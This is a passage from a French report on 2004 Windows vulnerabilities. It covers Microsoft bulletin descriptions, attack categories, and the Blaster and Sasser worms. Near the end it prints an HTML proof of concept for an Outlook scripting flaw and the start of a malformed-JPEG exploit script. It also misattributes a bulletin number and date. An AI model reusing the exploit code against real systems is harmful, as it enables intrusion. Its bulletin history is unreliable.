distance dans la façon dont le Shell Windows lance les applications. Un attaquant peut exploiter cette vulnérabilité si un utilisateur visite un site Web malveillant. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant 26 qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Lorsque un utilisateur est connecté avec des privilèges d’administrateur, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Quelle est la cause de cette vulnérabilité ? Mémoire tampon non vérifiée dans les fonctions du shell Windows. Qu’est-ce que le shell Windows ? L'interface utilisateur de Microsoft Windows permet aux utilisateurs d'accéder à une grande variété d'objets nécessaires pour exécuter des applications et gérer le système d'exploitation. Les plus nombreux et les plus familiers de ces objets sont les dossiers et fichiers résidant sur les lecteurs de disque de l'ordinateur. Un grand nombre d'objets virtuels permettent également à l'utilisateur d'effectuer des tâches telles que l'envoi de fichiers vers des imprimantes distantes ou l'accès à la Corbeille. Le shell organise ces objets en espace de noms hiérarchique, et offre aux utilisateurs et aux applications une façon cohérente et efficace d'accéder aux objets et de les gérer. Vulnérabilité du Convertisseur de groupe de programmes Une vulnérabilité d'exécution de code à distance existe dans le Convertisseur de groupe de programmes en raison de sa façon de traiter des demandes spécialement conçues. Un attaquant pourrait exploiter cette vulnérabilité en élaborant une demande potentiellement capable de permettre l'exécution de code à distance si un utilisateur effectue une action telle que l'ouverture d'un fichier en pièce jointe ou un clic sur un lien HTML. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Lorsque un utilisateur est connecté avec des privilèges d’administrateur, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle total du système affecté, notamment installer des programmes, afficher, modifier ou supprimer des données, ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Quelle est la cause de cette vulnérabilité ? Un tampon non vérifié dans l'application Convertisseur de groupe de programmes (Program Group Converter). Qu'est-ce que le Convertisseur de groupe de programmes ? Le Convertisseur de groupe de programmes a été utilisé pour convertir les fichiers du Groupe Gestionnaire de programmes créés dans Windows 3.1, Windows 3.11, Windows pour Workgroups 3.1 et Windows pour Workgroups 3.11 vers des systèmes d'exploitation ultérieurs. Cette application est également utilisée pendant l'installation de Windows, et par d'autres applications de tiers pendant l'installation d'applications ou de périphériques. 27 3.16. MS04-038 (octobre) Vulnérabilité de corruption de la pile mémoire CSS Il existe dans Internet Explorer une vulnérabilité d’exécution de code à distance qui pourrait permettre l’exécution à distance d’un code sur un système affecté. Un attaquant pourrait exploiter cette vulnérabilité en construisant une page Web nuisible qui pourrait permettre l’exécution d’un code à distance si un utilisateur visitait un site Web malveillant. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Cependant, l’exploitation de cette vulnérabilité nécessiterait une interaction non négligeable avec l’utilisateur. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de saturation de mémoire tampon. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. L’attaquant pourrait alors installer des programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Quelle est la cause de cette vulnérabilité ? Une mémoire tampon non vérifiée dans le traitement par Internet Explorer des feuilles de style en cascade. Quelle est la définition des feuilles de style en cascade (CSS) ? La technologie CSS (Cascading Style Sheets) permet aux auteurs Web de disposer d'un contrôle accru sur la conception et l'interaction de leurs pages Web. Vous trouverez des informations complémentaires sur CSS sur MSDN. Vulnérabilité inter-domaines de redirection par fonctions à noms similaires Il existe dans Internet Explorer une vulnérabilité dans le modèle de sécurité inter-domaines, due à la gestion des méthodes de navigation par des fonctions ayant des noms similaires. Un attaquant pourrait exploiter cette vulnérabilité en construisant une page Web nuisible qui pourrait permettre l’exécution d’un code à distance si un utilisateur visitait un site Web malveillant. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait exécuter un code de script malveillant dans la zone Ordinateur local d’Internet Explorer ou accéder à des informations d'un domaine différent. Dans le pire des scénarios, si un utilisateur a ouvert une session avec des privilèges d'administration, l'attaquant pourrait prendre le contrôle intégral d'un système affecté. Quelle est la portée de cette vulnérabilité ? Il existe dans Internet Explorer une vulnérabilité dans le modèle de sécurité inter-domaines, due à la gestion des méthodes de navigation par des fonctions ayant des noms similaires. Un attaquant pourrait exploiter cette vulnérabilité en construisant une page Web nuisible qui pourrait permettre l’exécution d’un code à distance si un utilisateur visitait un site Web malveillant. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait exécuter un code de script malveillant dans la zone Ordinateur local d’Internet Explorer ou accéder à des informations d'un domaine différent. Dans le pire des scénarios, si un utilisateur a ouvert une session avec des privilèges d'administration, l'attaquant pourrait prendre le contrôle intégral d'un système affecté. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. 28 Quelle est la cause de cette vulnérabilité ? Le processus par lequel le modèle de sécurité inter-domaines d'Internet Explorer valide les méthodes de navigation dotées de noms similaires. Quel est le modèle de sécurité inter-domaines mis en œuvre par Internet Explorer ? L’une des principales fonctions de sécurité d’un navigateur consiste à s’assurer que les fenêtres du navigateur ouvertes sous le contrôle de sites Web différents ne puissent pas interférer les unes avec les autres, ni accéder aux données des autres, tout en permettant aux fenêtres ouvertes sur le même site d’interagir entre elles. Pour différencier les fenêtres autorisées à coopérer de celles qui ne le sont pas, le concept de « domaine » a été créé. Un domaine est une frontière de sécurité, toutes les fenêtres ouvertes dans le même domaine peuvent interagir entre elles, mais pas les fenêtres de domaines différents. Le modèle de sécurité inter-domaines est la partie de l’architecture de sécurité qui empêche les fenêtres de domaines différents d’interférer les unes sur les autres. L’exemple le plus simple de domaine concerne les sites Web. Si vous visitez le site http://www.wingtiptoys.com et qu’il ouvre une fenêtre sur http://www.wingtiptoys.com/security, ces deux fenêtres peuvent interagir entre elles parce qu’elles appartiennent toutes deux au même domaine, http://www.wingtiptoys.com. Mais si vous ouvrez une fenêtre vers un site Web différent, le modèle de sécurité inter-domaines protégera les deux fenêtres l’une de l’autre. Ce concept va même plus loin. Le système de fichiers de votre ordinateur local est également un domaine. Par exemple, http://www.wingtiptoys.com pourrait ouvrir une fenêtre pour afficher un fichier de votre disque dur. Cependant, puisque votre système de fichiers local est un domaine différent de celui du site Web, le modèle de sécurité inter-domaines empêchera le site Web de lire le fichier en cours d’affichage. Le modèle de sécurité inter-domaines d’Internet Explorer peut se configurer à l’aide des paramètres des zones de sécurité Internet d’Internet Explorer. Que sont les zones de sécurité d’Internet Explorer ? Les zones de sécurité Internet Explorer font partie d’un système qui classe le contenu en ligne en plusieurs catégories, ou zones, en fonction de son degré de fiabilité. Vous pouvez assigner des domaines Web spécifiques à une zone, selon la confiance que vous accordez au contenu de chaque domaine. Cette zone restreint alors les capacités du contenu Web, en fonction de sa stratégie de sécurité. Par défaut, la plupart des domaines Internet sont traités comme faisant partie de la Zone Internet. Par défaut, la stratégie de la zone Internet empêche les scripts et les autres codes actifs d’accéder aux ressources du système local. Vulnérabilité du moteur d’installation Il existe dans inseng.dll une vulnérabilité d’exécution de code à distance qui pourrait permettre l’exécution à distance d’un code sur un système affecté. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Quelle est la portée de cette vulnérabilité ? Il s’agit d’une vulnérabilité d’exécution de code à distance. Si un utilisateur a ouvert une session avec des privilèges d'administration, un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. L’attaquant pourrait alors installer des programmes, afficher, modifier ou supprimer des données ou créer de nouveaux comptes dotés de tous les privilèges. Les utilisateurs dont les comptes sont configurés avec des privilèges moins élevés sur le système courent moins de risques que ceux qui possèdent des privilèges d’administration. Quelle est la cause de cette vulnérabilité ? Une mémoire tampon non vérifiée dans le moteur d'installation Internet Explorer. 29 Qu’est-ce que le moteur d'installation ? Le moteur d'installation fait partie de la technologie Active Setup d'Internet Explorer. Active Setup permet à un programme d'installation de recevoir d'Internet des fichiers complémentaires requis pour l'initialisation du programme. Vulnérabilité des opérations glisser-déplacer Il existe dans Internet Explorer une vulnérabilité d'élévation des privilèges, due à son mode de gestion des événements glisser-déplacer. Un attaquant pourrait exploiter cette vulnérabilité en construisant une page Web malveillante qui pourrait permettre à un attaquant de sauvegarder un fichier sur le système d'un utilisateur si celui-ci visitait un site Web malveillant ou affichait un message nuisible. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Quelle est la portée de cette vulnérabilité ? Cette vulnérabilité implique des événements de glisser-déplacer sous Internet Explorer et peut provoquer la sauvegarde d'un fichier exécutable sur le système de l'utilisateur. L'utilisateur ne verra pas dans ce cas de boîte de dialogue lui demander d'approuver le téléchargement. Pour exploiter cette vulnérabilité, un attaquant doit héberger un site Web malveillant qui contient une page Web conçue pour exploiter cette faille, puis persuader un utilisateur de visiter le site en question. Si l’utilisateur réalise certaines actions spécifiques sur cette page Web, un code choisi par l'attaquant peut être sauvegardé dans des emplacements définis sur le système de l'utilisateur. Quelle est la cause de cette vulnérabilité ? Cette vulnérabilité est provoquée par la validation incorrecte de certains éléments au format HTML dynamique (DHTML) par la technologie de glisser-déplacer. Un fichier peut donc être téléchargé sur le système de l’utilisateur lorsqu’il clique sur un lien. Que sont les événements DHTML ? Les événements DHTML sont des actions spéciales fournies par le modèle objet DHTML. Ces événements permettent d’ajouter un contenu dynamique dans un site Web à l’aide de code. Pour obtenir des informations supplémentaires sur les événements DHTML, cliquez sur le lien MSDN. Vulnérabilité de fausses informations dans la zone Adresse sur les systèmes à jeux de caractères codés sur deux octets Il existe une vulnérabilité de fausses informations dans le traitement Internet Explorer des URL sur les systèmes à jeux de caractères codés sur deux octets. Une URL incorrecte pourrait être indiquée dans la zone Adresse et ne pas correspondre à la page actuellement affichée par Internet Explorer. Quelle est la portée de cette vulnérabilité ? Cette vulnérabilité affecte la zone Adresse utilisée par Internet Explorer pour afficher le site Web visité. Une URL incorrecte pourrait être indiquée dans la zone Adresse et ne pas correspondre à la page actuellement affichée par Internet Explorer. Par exemple, un attaquant pourrait créer un lien qui afficherait http://www.tailspintoys.com dans la zone Adresse, mais aussi le contenu d’un autre site Web, comme http://www.wingtiptoys.com. Quelle est la cause de cette vulnérabilité ? Cette vulnérabilité est provoquée par une erreur de génération de noms canoniques lorsque Internet Explorer analyse des caractères spéciaux dans une URL HTTP sur des systèmes à jeux de caractères codés sur deux octets. 30 Que sont les jeux de caractères codés sur deux octets ? Les jeux de caractères codés sur deux octets (DBCS) sont des jeux de caractères 8 bits étendus dans lesquels la plus petite unité est un octet. Certains caractères DBCS disposent d'une valeur de code d'octet unique, d'autres d'une valeur de code d'octet double. Un DBCS est en quelque sorte l'équivalent du jeu de caractères ANSI pour certaines versions asiatiques de Microsoft Windows. Vous trouverez des informations complémentaires sur DBCS à la page jeux de caractères codés sur deux octets sur MSDN. Comment puis-je savoir si j'exécute un DBCS ? Un jeu DBCS est en quelque sorte l'équivalent du jeu de caractères ANSI pour certaines versions asiatiques de Microsoft Windows. Ces versions concernent le chinois, le japonais et le coréen. Vulnérabilité de fausses informations dans la zone Adresse lors de la navigation plug-in Il existe une vulnérabilité de fausses informations dans le traitement Internet Explorer des navigations plug-in. Une URL incorrecte pourrait être indiquée dans la zone Adresse et ne pas correspondre à la page actuellement affichée par Internet Explorer. Quelle est la portée de cette vulnérabilité ? Cette vulnérabilité affecte la zone Adresse utilisée par Internet Explorer pour afficher le site Web visité. Une URL incorrecte pourrait être indiquée dans la zone Adresse et ne pas correspondre à la page actuellement affichée par Internet Explorer. Par exemple, un attaquant pourrait créer un lien qui afficherait http://www.tailspintoys.com dans la zone Adresse, mais aussi le contenu d’un autre site Web, comme http://www.wingtiptoys.com. Quelle est la cause de cette vulnérabilité ? La gestion par Internet Explorer de la navigation à partir de plug-ins. Que sont les plug-ins ? Les plug-ins sont des composants de tiers étendant les fonctions d'Internet Explorer. Les contrôles ActiveX, par exemple, sont des plug-ins. Vulnérabilité de téléchargement de fichiers dans le traitement des scripts dans les balises d’images Il existe une vulnérabilité d’élévation de privilèges dans la façon dont Internet Explorer traite le script dans les balises d'images. Un attaquant pourrait exploiter cette vulnérabilité en construisant une page Web malveillante qui pourrait permettre à un attaquant de sauvegarder un fichier sur le système d'un utilisateur si celui-ci visitait un site Web malveillant ou affichait un message nuisible. Un attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral d'un système affecté. Cependant, l’exploitation de cette vulnérabilité nécessite une interaction avec l’utilisateur. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité d'élévation des privilèges dans Internet Explorer qui peut provoquer la sauvegarde d'un fichier sur le système de l'utilisateur. L'utilisateur ne verra pas dans ce cas de boîte de dialogue lui demander d'approuver le téléchargement. Pour exploiter cette vulnérabilité, un attaquant doit héberger un site Web malveillant qui contient une page Web contenant un lien conçu pour exploiter cette faille, puis persuader un utilisateur de visiter ce site. Si l’utilisateur réalise 31 certaines actions spécifiques sur cette page Web, un code choisi par l'attaquant peut être sauvegardé dans des emplacements définis sur le système de l'utilisateur. Quelle est la cause de cette vulnérabilité ? Cette vulnérabilité est causée par la validation des scripts dans les balises d'images sous Internet Explorer. Vulnérabilité de mise en cache SSL Il existe une vulnérabilité de fausses informations due à la façon dont Internet Explorer valide le contenu mis en mémoire cache de sites Web protégés par SSL. Un attaquant pourrait ainsi exécuter un script de son choix sur des sites Web sécurisés. Quelle est la portée de cette vulnérabilité ? Il s'agit d'une vulnérabilité de divulgation d'informations et de fausses informations. Tout attaquant en mesure d’exploiter cette vulnérabilité peut accéder à des informations sur des sites Web protégés par SSL. Quelle est la cause de cette vulnérabilité ? La gestion par Internet Explorer du contenu SSL mis en mémoire cache. Qu'est-ce que SSL ? Secure Sockets Layer (SSL) est un protocole permettant le cryptage des sessions Web afin de bénéficier d'une sécurité accrue. Chaque fois que vous visitez un site Web avec Internet Explorer et que vous voyez une icône de verrou jaune dans le coin inférieur droit de la fenêtre du navigateur, cela signifie que la session en cours est protégée par SSL. 4. LES METHODES D’EXPLOITATION DES FAILLES Une méthode ou un code permettant l'exploitation d'une vulnérabilité est appelée un exploit. Pour exploiter une faille, on recense plusieurs méthodes agissant sur une vulnérabilité de cette faille. Néanmoins ces exploits peuvent être classés pas type. 4.1. Les attaques 4.1.1. Les buffer overflow Une mauvaise programmation des logiciels entraîne obligatoirement des bugs. Ceux-ci seront la source des failles de sécurité les plus importantes. Ces vulnérabilités quand elles sont découvertes vont permettrent d’éxecuter des commandes non autorisées, obtenir le code source de pages dynamiques, rendre indisponible un service, prendre la main sur une machine… etc. Les plus connus de ces bugs et les plus intéressant en ce qui concerne leur exploitation sont les buffer overflow. 32 Le dépassement de la pile est une faille due a une mauvaise programmation. Effectivement, un buffer overflow apparaît quand une variable passé en argument d’une fonction est recopiée dans le buffer pour qu’un dépassement de la pile se produise. Celui-ci sera exploité en passant dans la variable un fragment de programme capable de faire démarrer un shell tout en obligeant ce débordement de pile à e produire. Dans le cas où un pirate réussi cette attaque il obtiendra alors le moyen d’exécuter à distance des commandes sur la machine cible avec les droits de l’application attaquée. 4.1.2. Les scripts Une mauvaise programmation des scripts a souvent une répercution sur la sécurité informatique. En effet, il existe un moyen d’exploiter des failles de scripts développés en Perl ou en Php qui permettront de lire des fichiers hors racine Web ou d’exécuter des commandes non autorisées 4.1.3. Man in The Middle L’objectif principal de cette attaque est de détourner le trafic entre deux machines. Cela pour intercepter, modifier ou détruire les données transmises au cours de la communication. Cette attaque est plus un concept qu’une attaque a part entière. Il existe plusieurs attaques mettant en œuvre ce principe du Man in The Middle, comme le DNS Man in The Middle qui utilise le DNS Spoofong pour détourner le trafic entre un client et un serveur Web. 4.1.4. Les dénis de service Tout comme les vulnérabilités d’une application entraîne la possibilité de prendre le contrôle d’une machine (exemple du buffer overflow), elles peuvent aussi amener à un déni de service. L’application sera alors indisponible par la saturation des ressources qui lui sont allouée ou un crash de celle-ci. 4.2. Les virus (D’après http://www.commentcamarche.com/) Un virus est un petit programme informatique situé dans le corps d'un autre, qui, lorsqu'on l'exécute, se charge en mémoire et exécute les instructions que son auteur a programmé. Le véritable nom donné aux virus est CPA soit Code Auto-Propageable, mais par analogie avec le domaine médical, le nom de "virus" leur a été donné. Les virus résidents (appelés TSR en anglais pour Terminate and stay resident) se chargent dans la mémoire vive de l'ordinateur afin d'infecter les fichiers exécutables lancés par l’utilisateur. Les virus non résidants infectent les programmes présents sur le disque dur dès leur exécution. Le champ d'application des virus va de la simple balle de ping-pong qui traverse l'écran au virus destructeur de données, ce dernier étant la forme de virus la plus dangereuse. Ainsi, étant 33 donné qu'il existe une vaste gamme de virus ayant des actions aussi diverses que variées, les virus ne sont pas classés selon leurs dégâts mais selon leur mode de propagation et d'infection. On distingue ainsi différents types de virus : les vers sont des virus capables de se propager à travers un réseau les troyens (chevaux de Troie) sont des virus permettant de créer une faille dans un système (généralement pour permettre à son concepteur de s'introduire dans le système infecté afin d'en prendre le contrôle) les bombes logiques sont des virus capables de se déclencher suite à un événement particulier (date système, activation distante, ...) Depuis quelques années un autre phénomène est apparu, il s'agit des canulars (en anglais hoax), c'est-à-dire des annonces reçues par mail (par exemple l'annonce de l'apparition d'un nouveau virus destructeur ou bien la possibilité de gagner un téléphone portable gratuitement,...) accompagnées d'une note précisant de faire suivre la nouvelle à tous ses proches. Ce procédé a pour but l'engorgement des réseaux ainsi que la désinformation. 4.1.1. Les vers Un ver est un programme qui peut s'auto-reproduire et se déplacer à travers un réseau en utilisant les mécanismes réseau, sans avoir réellement besoin d'un support physique ou logique (disque dur, programme hôte, fichier ...) pour se propager; un ver est donc un virus réseau. Les vers actuels se propagent principalement grâce à la messagerie (et notamment par le client de messagerie Outlook) grâce à des fichiers attachés contenant des instructions permettant de récupérer l'ensemble des adresses de courrier contenues dans le carnet d'adresse et en envoyant des copies d'eux-mêmes à tous ces destinataires. Ces vers sont la plupart du temps des scripts (généralement VBScript) ou des fichiers exécutables envoyés en pièce jointe et se déclenchant lorsque l'utilisateur destinataire clique sur le fichier attaché. 4.1.2. Les troyens On appelle "Cheval de Troie" (en anglais trojan horse) un programme informatique effectuant des opérations malicieuses à l'insu de l'utilisateur. Un cheval de Troie (informatique) est donc un programme caché dans un autre qui exécute des commandes sournoises, et qui généralement donne un accès à la machine sur laquelle il est exécuté en ouvrant une porte dérobée (en anglais backdoor), par extension il est parfois nommé troyen par analogie avec les habitants de la ville de Troie. A la façon du virus, le cheval de Troie est un code (programme) nuisible placé dans un programme sain (imaginez une fausse commande de listage des fichiers, qui détruit les fichiers au-lieu d'en afficher la liste). Un cheval de Troie peut par exemple : voler des mots de passe copier des données sensibles exécuter tout autre action nuisible 34 etc. Pire, un tel programme peut créer, de l'intérieur de votre réseau, une brêche volontaire dans la sécurité pour autoriser des accès à des parties protégées du réseau à des personnes se connectant de l'extérieur. Les principaux chevaux de Troie sont des programmes ouvrant des ports de la machine, c'est-à-dire permettant à son concepteur de s'introduire sur votre machine par le réseau en ouvrant une porte dérobée. C'est la raison pour laquelle on parle généralement de backdoor (littéralement porte de derrière). Un cheval de Troie n'est pas nécessairement un virus, dans la mesure où son but n'est pas de se reproduire pour infecter d'autres machines. Par contre certains virus peuvent également être des chevaux de Troie, c'est-à-dire se propager comme un virus et ouvrir un port sur les machines infectées ! Détecter un tel programme est difficile car il faut arriver à détecter si l'action du programme (le cheval de Troie) est voulue ou non par l'utilisateur. 4.1.3. Les bombes logiques Sont appelés bombes logiques les dispositifs programmés dont le déclenchement s'effectue à un moment déterminé en exploitant la date du système, le lancement d'une commande, ou n'importe quel appel au système. Ainsi ce type de virus est capable de s'activer à un moment précis sur un grand nombre de machines (on parle alors de bombe à retardement ou de bombe temporelle), par exemple le jour de la Saint Valentin, ou la date anniversaire d'un événement majeur : la bombe logique Tchernobyl s'est activée le 26 avril 1999, jour du 13ème anniversaire de la catastrophe nucléaire ... Les bombes logiques sont généralement utilisées dans le but de créer un déni de service (voir partie 3.2.) en saturant les connexions réseau d'un site, d'un service en ligne ou d'une entreprise ! 5. LES FAILLES IMPORTANTES EXPLOITEES EN 2004 5.1. MS04-012 – Exploit : Virus Blaster 5.1.1. Introduction La faille RPC/DCOM a été révélée à Microsoft par « The Last Stage of Delirium Research Group » en date du 16 Juillet 2003. Le même jour, un patch correctif a été diffusé : MS04012 (cumulatif RPC) ainsi qu'un article de la Base de Connaissances. Le 21 Juillet 2003, le groupe XFocus publiait du code permettant l'exploitation de la faille. Le 3 Août 2003, le premier trojan exploitant cette faille apparaît. Le 11 Août 2003, 2 nouveaux vers sont décelés, provoquant une avalanche d'infections et de services RPC en panne. L’un d’eux est le vers W32.Blaster.Worm. 5.1.2. Description de Blaster Blaster est le premier virus ciblant les ordinateurs vulnérables à la faille RPC de Microsoft. Si une machine connectée à Internet n'est pas à jour dans ses correctifs, Blaster l'infecte via le port 135 TCP puis scanne le réseau à la recherche de nouvelles machines vulnérables. Il est 35 par ailleurs programmé pour lancer une attaque par déni de service contre le site Windows Update. Une fois l'ordinateur infecté, le virus modifie la base de registres pour s'exécuter à chaque démarrage de l'ordinateur, puis scanne ensuite continuellement le réseau à la recherche de nouvelles machines vulnérables. 5.1.3. Conditions de vulnérabilité XP (ou NT/W2K/W2K3) sans pare-feu et sans le patch MS03-39. 5.1.4. Exploitation de la faille L’infection échoue Pare feu activé ? Ports 135,137 139, 445 non oui Vulnérabilité RPC/DCOM ? Machines infectés par un ver RPC non Ciblage correct de l’OS par le ver ? oui non Le service RPC plante : décompte de 60 secondes avant redémarrag e par NT/AUTORITY Téléchargement du virus/trojan oui Le ver est dans le PC et lance le téléchargement (grâce à TFTP) d’un virus ou cheval de Troie. L’infection est réussie. 1/ La faille est bien exploitée, l'offset est bon, le ver télécharge le virus qui continue son travail... 2/ La faille est mal exploitée, l'offset est dans "les choux", le PC plante sur RPC, mais le virus n'est pas téléchargé, et le PC n'est pas infecté : 36 5.1.5. Les systèmes vulnérables peuvent aussi présenter les symptômes suivants Copier/Coller défectueux ou impossible Ouverture d'un lien hypertexte dans une nouvelle fenêtre impossible Déplacement d'icônes impossibles Fonction recherche de fichier de Windows erratique Fermeture du port 135/TCP Il existe plusieurs variantes d'exploitation de la faille, ce qui veut dire qu'un PC peut à la fois planter sur l'exploitation d'un mauvais offset par un ver, et être infecté par un autre... Il y a un gros pourcentage de PC plantés par rapport aux PC infectés. 5.1.6. Les Variantes La principale différence de toutes ses variantes est le nom du fichier infectant le système. Blaster.B (W32.Blaster.B.Worm, W32/Lovsan.B.worm, Win32.Msblast.B) Nom du fichier infectant : penis32.exe Blaster.C (W32.Blaster.C.Worm, W32/Lovsan.C.worm, Win32.Msblast.C) Nom du fichier infectant : Teekids.exe Blaster.D (= W32.Blaster.D.Worm, W32/Lovsan.D.worm, Win32.Msblast.D) Nom du fichier infectant : mspatch.exe Blaster.E (= W32.Blaster.E.Worm, W32/Lovsan.E.worm, Win32.Msblast.E) Nom du fichier infectant : mslaugh.exe Blaster.F (= W32.Blaster.F.Worm, W32/Lovsan.worm.F, Win32.Msblast.F) Nom du fichier infectant : enbiei.exe 5.1.7. Conclusion Une propagation massive de Blaster et d'éventuelles variantes pourrait causer des perturbations dans le fonctionnement d'Internet, en rendant notamment difficile voire impossible l'accès à certains sites web. Les ordinateurs sous Windows NT et 2003 Server ne peuvent pas être infectés à distance par le virus, mais ils peuvent "planter" au moment de l'exploitation de la faille RPC par Blaster et le virus peut être exécuté manuellement sur ces plateformes. La mise à jour des machines sous Windows NT, 2000, XP et 2003 est donc impérative pour combler la faille RPC exploitée par le virus, mais aussi par divers outils de piratage à distance actuellement en circulation. 5.2. MS04-011 – Exploit : Virus Sasser 5.2.1. Introduction Sasser (W32.Sasser.Worm) est un ver ressemblant étrangement à Blaster. Ce virus apparu dans la nuit du 30 Avril au 1er mai exploite une faille de sécurité corrigée quelque temps avant sous Windows. Ce ver affecte le protocole PCT (Private Communications Transport) qui fait partie de la bibliothèque SSL (Secure Sockets Layer) de Microsoft. Le ver attaque le service LSASS (Local Security Authority Subsystem Service). Ce ver se propage rapidement sur le réseau Internet. Il ne se propage donc pas par courrier électronique mais directement sur le réseau. Ainsi toute machine non protégée et qui est connectée à Internet est vulnérable. Une fois la machine infectée le vers effectue les actions suivantes : • • • Ajoute une valeur au registre afin de se lancer automatiquement au démarrage de l'ordinateur Redémarre votre ordinateur en boucle Démarre un serveur FTP sur le port TCP 5554. Ceci afin de se propager à d'autres ordinateurs. 37 • • Se connecte aléatoirement sur le port TCP 445. Puis peut ouvrir une connexion sur un PC distant afin de se copier sur la machine distante. Le ver se copie sous le nom de fichier suivant : xxxx_up.exe où x représente un chiffre. Le ver lance 128 processus (1024 dans le cas de la variante C) afin de scanner des adresses IP ce qui entraîne une charge CPU importante. 5.2.2. Les signes d’infection Pour ce protéger du ver il est indispensable d'appliquer la mise à jour de sécurité MS04-11 (KB 835732 du 13 Avril 2004). Il faut également installer ou activer un pare-feu sur votre ordinateur. 5.2.3. Exploitation de la faille 38 L’infection échoue Pare feu activé ? Ports 445 4554 non Machines infectés par un ver LSASS oui Vulnérabilité PCT/LSASS ? non Ciblage correct de l’OS par le ver ? oui non Le service LSASS plante : décompte de 60 secondes avant redémarrag e par NT/AUTORITY Téléchargement du virus/trojan oui Le ver est dans le PC et lance le téléchargement (grâce à TFTP) d’un virus ou cheval de Troie. L’infection est réussie. 5.3. MS04-009 – Exploit : javaScript dans Outook 2002 5.3.1. Introduction Cette faille permet à un attaquant distant d'exécuter un script dans la zone locale au travers d'une URL spécifique que l'utilisateur ouvre via Internet Explorer. 5.3.2. Description de la faille Pour exploiter cette faille, les individus effectuant l'attaque peuvent simplement créer un email HTML qui essaie de convaincre le destinataire de cliquer sur un lien dans le corps du texte ou qui contient une fausse image pouvant lancer automatiquement un lien sans le besoin d'une intervention de l'utilisateur. Une telle attaque peut comprendre l'exécution de JavaScript sous la zone de sécurité du Poste de travail (local). Ceci signifie que l'individu responsable de l'attaque pourrait exécuter du code sur le disque local de machines sans patchs et / ou accéder à des fichiers utilisateurs. 39 5.3.3. Conditions de vulnérabilité Les utilisateurs qui utilisent Outlook 2002 comme client de courrier électronique par défaut et qui utilisent « Outlook Aujourd'hui » comme page d'accueil de dossier par défaut sont les principaux concernés par cette vulnérabilité. L'exploitation est possible via la page "Boite de réception" de Outlook 2002 par exemple. Ne pas avoir installer la mise à jour son système avec le patch patch KB828040. 5.3.4. Exploitation de la faille <html> <body> <!-proof-of-concept This is the exploit <img src="mailto:aa"/select javascript:alert('vulnerable')"> </body> </html> string. --> Il suffit d’appeler le code javaScript que l’on veut ici, pour utiliser la vulnérabilité. 5.4. MS04-028 – Exploit : JPEG 5.4.1. Introduction Plusieurs exploits relatifs à la vulnérabilité GDI+ JPEG (MS 04-028) ont été rendus public le 14 septembre dernier, ce qui rend désormais très probable son utilisation dans un but malveillant et notamment l'apparition d'un virus exploitant cette faille. 5.4.2. Explications Cette vulnérabilité liée aux applications et non pas au noyau, est un problème de sécurité qui permet à une personne malveillante ou à un virus d'exécuter le code de son choix lors de l'affichage d'une « image.jpg » piégée spécialement malformée (contenue par exemple dans une page web ou dans un courrier). Un virus utilisant cette faille pourrait donc se propager rapidement et à grande échelle, d'autant que les « fichiers.jpg » sont habituellement associés aux images et considérés comme sûrs : un tel virus qui se répandrait par courrier serait susceptible de tromper les 40 internautes les plus méfiants voire de s'exécuter sans intervention de l'utilisateur, lors de la lecture du message dans le volet de visualisation. L'application immédiate du ou des correctifs de sécurité destinée à corriger le code défectueux constitue le seul moyen de se protéger efficacement. D'autres précautions permettent également d'améliorer la sécurité : Mettre à jour son antivirus fréquemment (opter pour une mise à jour automatique si disponible). Ne pas ouvrir de fichier joint à un courrier suspect. Désactiver la visualisation des messages au format HTML. Vérifier la sécurité du système. 5.4.2. Note Il ne faut pas attendre qu'un virus exploitant cette faille commence à se propager car il pourrait causer des dommages irréparables avant d'être détecté et les serveurs de distribution des correctifs risquent de se retrouver saturés. Exemple de code (source : www.k-otik.com) #JPEG header 'n stuff printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46" printf "\x00\x01\x01\x01\x00\x60\x00\x60\x00\x00" #Trigger string - 00 length field (01 works too) printf "\xFF\xFE\x00\x00" printf "\x45\x78\x69\x66\x00\x00\x49\x49\x2A\x00\x08\x00" # 1) Opening directly in IE #Address to overwrite = RtlEnterCriticalSelection() - 4 #Check page 172 of SC Handbook for those of you playing along at home printf 